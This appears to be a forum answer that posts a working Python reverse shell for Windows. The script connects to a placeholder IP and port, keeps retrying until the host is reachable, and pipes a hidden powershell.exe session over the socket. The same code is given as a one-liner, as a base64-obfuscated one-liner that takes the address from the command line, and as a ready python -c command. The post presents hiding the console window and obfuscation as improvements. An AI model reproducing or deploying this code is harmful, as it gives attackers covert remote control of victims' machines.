Based on Mark E. Haase's answer, here is my improved version [645 Chars] which:
- is smaller (threads are now one-liners and as many statements as possible on one line)
- does not open a new command window (
shell=True
)
- supports universal newlines (
text=True
)
- waits for the remote host to come online if it's not online yet (
while True: try/except
)
- is more reliable (
p.stdin.flush()
which means the stdin buffer does not need to be filled for the command to be executed)
import os, socket, subprocess, threading, sys
def s2p(s, p):
while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def p2s(s, p):
while True: s.send(p.stdout.read(1).encode())
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try: s.connect((<IP ADDR>, <PORT NUMBER>)); break
except: pass
p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)
threading.Thread(target=s2p, args=[s,p], daemon=True).start()
threading.Thread(target=p2s, args=[s,p], daemon=True).start()
try: p.wait()
except: s.close(); sys.exit(0)
Or as a (very ugly) one-liner [663 Chars]:
exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")
Or as an obfuscated one-liner (though this can't be used directly as the IP address has to be changed) [892 Chars]:
import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk="))
It can be used in the command line directly like this:
python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")'
socket.fileno()
cannot be used on Windows – Familiarity